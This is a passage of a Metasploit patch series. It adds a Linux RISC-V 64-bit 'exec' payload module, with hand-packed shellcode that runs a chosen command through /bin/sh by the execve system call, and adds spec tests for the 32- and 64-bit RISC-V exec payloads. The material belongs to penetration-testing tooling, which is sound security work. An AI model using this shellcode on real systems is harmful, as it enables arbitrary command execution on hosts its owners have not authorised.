# metasploit + ], + 'License' => BSD_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_RISCV64LE, + 'References' => [ + ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'], + ['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'], + ] + ) + ) + register_options([ + OptString.new('CMD', [ true, 'The command string to execute' ]), + ]) + end + + # + # Returns the command string to use for execution + # + def command_string + datastore['CMD'] || '' + end + + def generate(_opts = {}) + shellcode = + [0xfc010113].pack('V*') + # addi sp,sp,-64 + [0x0dd00893].pack('V*') + # li a7,221 + [0x34399537].pack('V*') + # lui a0,0x34399 + [0x7b75051b].pack('V*') + # addiw a0,a0,1975 + [0x00c51513].pack('V*') + # slli a0,a0,0xc + [0x34b50513].pack('V*') + # addi a0,a0,843 # 3439934b <__global_pointer$+0x343879a3> + [0x00d51513].pack('V*') + # slli a0,a0,0xd + [0x22f50513].pack('V*') + # addi a0,a0,559 + [0x00a13023].pack('V*') + # sd a0,0(sp) + [0x00010513].pack('V*') + # mv a0,sp + [0x000065b7].pack('V*') + # lui a1,0x6 + [0x32d5859b].pack('V*') + # addiw a1,a1,813 + [0x00b13423].pack('V*') + # sd a1,8(sp) + [0x00810593].pack('V*') + # addi a1,sp,8 + [0x00000617].pack('V*') + # auipc a2,0x0 + [0x02460613].pack('V*') + # addi a2,a2,36 # 100d4 + [0x00a13823].pack('V*') + # sd a0,16(sp) + [0x00b13c23].pack('V*') + # sd a1,24(sp) + [0x02c13023].pack('V*') + # sd a2,32(sp) + [0x02013423].pack('V*') + # sd zero,40(sp) + [0x01010593].pack('V*') + # addi a1,sp,16 + [0x00000613].pack('V*') + # li a2,0 + [0x00000073].pack('V*') + # ecall + command_string + "\x00" + + # align our shellcode to 4 bytes + shellcode += "\x00" while shellcode.bytesize % 4 != 0 + + super.to_s + shellcode + end +end From 8ba1034105ef1f268262df08b0d221d85bcf15fe Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 5 Oct 2024 00:06:46 +1000 Subject: [PATCH 7/7] Add tests for Linux Execute Command 32-bit/64-bit RISC-V LE payloads --- spec/modules/payloads_spec.rb | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 102f3aa1757e..d86d1f478070 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1845,6 +1845,16 @@ reference_name: 'linux/ppc64/shell_reverse_tcp' end + context 'linux/riscv32le/exec' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/riscv32le/exec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/riscv32le/exec' + end + context 'linux/riscv32le/reboot' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1855,6 +1865,16 @@ reference_name: 'linux/riscv32le/reboot' end + context 'linux/riscv64le/exec' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/linux/riscv64le/exec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'linux/riscv64le/exec' + end + context 'linux/riscv64le/reboot' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [